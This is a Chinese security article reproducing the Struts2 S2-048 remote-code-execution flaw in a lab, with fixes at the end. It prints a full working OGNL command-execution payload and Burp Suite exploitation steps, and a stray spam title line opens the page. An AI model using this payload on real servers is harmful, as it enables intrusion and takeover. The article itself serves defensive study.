自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Struts2 S2-048高危漏洞復(fù)現(xiàn)!詳解幾個漏洞攻擊載荷利用的對比分析

原創(chuàng)
安全 漏洞 應(yīng)用安全
2017年7月7日,Apache Struts發(fā)布最新的安全公告,Apache Struts2-strus1-plugin插件存在遠程代碼執(zhí)行的高危漏洞,漏洞編號為CVE-2017-9791(S2-048),主要受影響的Struts版本為:2.3.x。

【51CTO.com原創(chuàng)稿件】一、S2-048 漏洞綜述

1.1 漏洞背景

2017年7月7日,Apache Struts發(fā)布最新的安全公告,Apache Struts2-strus1-plugin插件存在遠程代碼執(zhí)行的高危漏洞,漏洞編號為CVE-2017-9791(S2-048),主要受影響的Struts版本為:2.3.x。

攻擊者可以構(gòu)造惡意的字段值(value)通過Struts2的struts2-struts1-plugin的插件傳遞給被攻擊主機,從而實現(xiàn)遠程代碼執(zhí)行攻擊,直接獲取遠程主機的控制權(quán)限。

1.2 漏洞產(chǎn)生原因

這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數(shù)可以調(diào)用 getText() 函數(shù),這個函數(shù)剛好又能執(zhí)行OGNL表達式,同事這個 getText() 的 參數(shù)輸入點,又可以被用戶直接進行控制,如果這個點被惡意攻擊者所控制,就可以構(gòu)造惡意執(zhí)行代碼,從而實現(xiàn)一個RCE攻擊。

1.3 漏洞影響范圍

Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本都在其影響的范圍內(nèi)。

二、漏洞環(huán)境部署

2.1 漏洞環(huán)境包

本次漏洞演示,我們可以直接使用struts2.3.x環(huán)境下自帶的struts2-showcase演示demo示例環(huán)境,進行S2-048漏洞復(fù)現(xiàn),故這里我們只介紹下struts2.3.x的環(huán)境包。(struts2-showcase 演示環(huán)境就存S2-048漏洞)

struts2.3.24環(huán)境包下載地址:http://archive.apache.org/dist/struts/2.3.24/

2.2 Tocat環(huán)境部署

工程師可以直接安裝一個XAMPP套件,其默認就帶有tomcat的支持,可以直接拿來進行struts環(huán)境的部署。

(1)啟動tomcat服務(wù) 

(2)Tomcat 環(huán)境訪問 

2.3 S2-048漏洞環(huán)境部署

(1)解壓struts-showcase

下載完struts2.3.24環(huán)境包后,我們直接將其“strus-showcase.war”的demo包解壓到tomcat的webapps環(huán)境目錄下(具體路徑依據(jù)個人實際環(huán)境來定,可參考下圖路徑)。 

(2)重啟tomcat服務(wù)自動部署war包

tomcat中有關(guān)war的部署比較簡單,我們只需要將相關(guān)的war包放到tomcat的webapps目錄下后,重啟tomcat服務(wù)后,war包就會被自動解壓部署。 

(3)漏洞環(huán)境訪問

本struts2-showcase demo示例中有關(guān)S2-048漏洞的觸發(fā)點在“Struts 1 Integration”(S1 整合)處,具體位置可參看下圖。 

(4)漏洞環(huán)境驗證

我在這漏洞出發(fā)點可以直接使用OGNL語法直接操作一個運算 10-7,看其是否可以直接運行并輸出結(jié)果,通過驗證發(fā)現(xiàn)果然可以直接執(zhí)行并輸出正確的結(jié)果。 

 

三、漏洞檢查與利用腳本

3.1 工具準(zhǔn)備

有關(guān)漏洞的檢查與利用,這里已經(jīng)收集好了相關(guān)的利用poc與腳本,相關(guān)使用方法都已經(jīng)梳理輸入如下,大家使用時,可以參考使用。

(1)工具包下載地址

https://github.com/W3bSafe-Team/Struts2-048-poc

(2) POC 使用方法 

(3) shell 驗證exp 

3.2 漏洞檢測

一般,我們在進行漏洞利用之前肯定需要進行漏洞的檢測與確認,這里直接使用前面下載的工具包中的一個批量檢測的POC(Struts048-POC.py),用其進行S2-048漏洞的檢測,具體檢測過程如下。

(1) 創(chuàng)建一個url.txt文檔,將需要檢測的URL連接收集放入其中,這里進行漏洞觸發(fā)點的檢查時,我們收集了多個目錄,其中包含了struts-showcase demo目錄下的各個路徑以及部署tomcat根目錄,看看漏洞的觸發(fā)是否有規(guī)律可循。 

(2) 創(chuàng)建一個臨時文檔tmp.txt,必須創(chuàng)建,否則腳本執(zhí)行會報錯。 

(3) 直接運行此python腳本; 

通過POC對各個URL進行檢查后發(fā)現(xiàn),只要是在struts2-showcase目錄下的路徑,都可以做為漏洞觸發(fā)的利用點,而不在此目錄下,漏洞無法觸發(fā)。(那么在這里也告訴我們有關(guān)此S2-048漏洞的修復(fù)方法,就是刪除或者禁用此目錄。)

3.3 漏洞利用復(fù)現(xiàn)

接下來,我們使用網(wǎng)絡(luò)上提供的檢測腳本和抓包截斷的利用方式分別復(fù)現(xiàn)下漏洞的利用過程。

3.3.1 shell腳本利用復(fù)現(xiàn)

利用上一個章節(jié)檢測出的三個可以利用URL,我們直接使用漏洞利用shell進行漏洞利用復(fù)現(xiàn)。

注:由于需要使用Linux環(huán)境才能運行shell腳本,我這里開啟了kali,并將URL中的127.0.0.1的地址替換為10.48.8.234,請大家在看截圖過程,希望不要有什么疑惑。

(1)URL1利用:http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action 

(2)URL2利用:http://10.48.8.234:8080/struts2-showcase/integration/ 

(3)URL3利用:http://10.48.8.234:8080/struts2-showcase/ 

通過上面針對三個URL漏洞觸發(fā)點進入S2-048漏洞直接getshell利用驗證,更加嚴(yán)謹(jǐn)?shù)淖C實了只要是在showcase demo目錄下的URL路徑都可以直接被利用。

3.3.2 抓包截斷利用復(fù)現(xiàn)

如果我們仔細查看最近爆出的S2-045、S2-046、S2-048,該漏洞利用的payload 其實都是一樣的,不同的僅僅是觸發(fā)點不同,影響范圍不同而已。S2-045的影響方位最廣,只要是使用當(dāng)時的Struts2框架的系統(tǒng)基本都在其影響的范圍內(nèi),而后面的S2-046和S2-048漏洞的漏洞觸發(fā)點有一點的限制條件,本次S2-048漏洞的利用條件就是你在使用了 struts2-struts1-plugin插件的情況下,才會觸發(fā)漏洞的產(chǎn)生。

這里我們就復(fù)現(xiàn)下,使用與前期S2-045漏洞利用Content-type字段來傳遞攻擊payload到目標(biāo)主機的方法,來復(fù)現(xiàn)下S2-048漏洞的利用。

3.3.2.1 攻擊payload準(zhǔn)備

我直接使用前面下載的shell腳本的中的payload進行后續(xù)的抓包截斷攻擊的演示復(fù)現(xiàn)。

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 

3.3.2.2 抓包截斷攻擊

  • (1)第一步:首先使用burpsuite截斷“http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”訪問; 

  •  (2)第二步:將當(dāng)前截斷數(shù)據(jù)包發(fā)送到repeater模塊,修改content-type字段為攻擊payload; 

  • (3)第三步:修改payload命令執(zhí)行字段為"whoami",發(fā)送攻擊包; 

這里我將shell腳本中的045,046,048的payload攻擊載荷都放入burpsuite的repeater模塊進行了重復(fù)發(fā)包驗證,發(fā)現(xiàn)都可以利用成功,具體驗證情況如下。

  • S2045 Payload驗證截圖 

  •  S2046 Payload驗證截圖 

通過上面burpsuite重復(fù)發(fā)包驗證,S2045、S2046、S2048的攻擊payload都可以對S2048漏洞進行遠程命令執(zhí)行,獲取主機的控制權(quán)限,這里我們會發(fā)現(xiàn)上半年暴露出的“S2045、S2046、S2048”攻擊載荷都是一樣的,只是漏洞的觸發(fā)點不同而已。

以上觀點僅個人漏洞復(fù)現(xiàn)利用歸納總結(jié)所得,如有什么有誤的地方,有路過的大神能給以指定,這里謝過。

四、 S2-048 漏洞修復(fù)與加固

(1)直接禁用 struts2-struts1-plugin插件;

(2)對于如果啟用 struts2-showcase 演示示例系統(tǒng),應(yīng)立即刪除本演示示例;

(3)升級當(dāng)前struts2 到最新版本;

(4)不要相信用戶端的任何數(shù)據(jù)輸入,建議開發(fā)者通過使用resource keys替代將原始消息直接傳遞給ActionMessage的方式,如:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

漏洞學(xué)習(xí)參考

1. Struts2高危漏洞S2-048動態(tài)分析

http://www.moonsec.com/post-776.html

2. Struts(S2-048)遠程命令執(zhí)行漏洞分析

http://www.sohu.com/a/155509766_290304

3. Struts2-048 Poc Shell版本(附修復(fù)方案)

https://bbs.ichunqiu.com/thread-24504-1-1.html

https://github.com/W3bSafe-Team/Struts2-048-poc

4. Apache 官方說明

https://cwiki.apache.org/confluence/display/WW/S2-048 

【51CTO原創(chuàng)稿件,合作站點轉(zhuǎn)載請注明原文作者和出處為51CTO.com】

責(zé)任編輯:龐桂玉 來源: 51CTO.com
相關(guān)推薦

2017-07-17 11:00:53

2017-07-11 09:42:22

漏洞

2013-07-18 15:09:27

2013-07-19 09:36:04

struts2struts2漏洞

2013-07-18 15:57:42

2016-04-29 10:58:13

2016-06-08 10:09:24

2017-09-12 07:54:32

2012-12-18 16:18:06

2013-07-18 13:11:07

2017-03-08 22:23:02

2013-07-18 10:06:54

2013-07-22 10:45:56

2016-03-22 12:37:45

Struts2Struts2漏洞漏洞檢測

2013-07-24 10:35:02

2013-05-22 10:28:19

2012-12-18 16:38:26

2017-03-15 15:21:59

數(shù)據(jù)包漏洞攻擊

2017-03-07 10:34:40

Struts2Struts2漏洞

2013-07-24 14:06:48

點贊
收藏

51CTO技術(shù)棧公眾號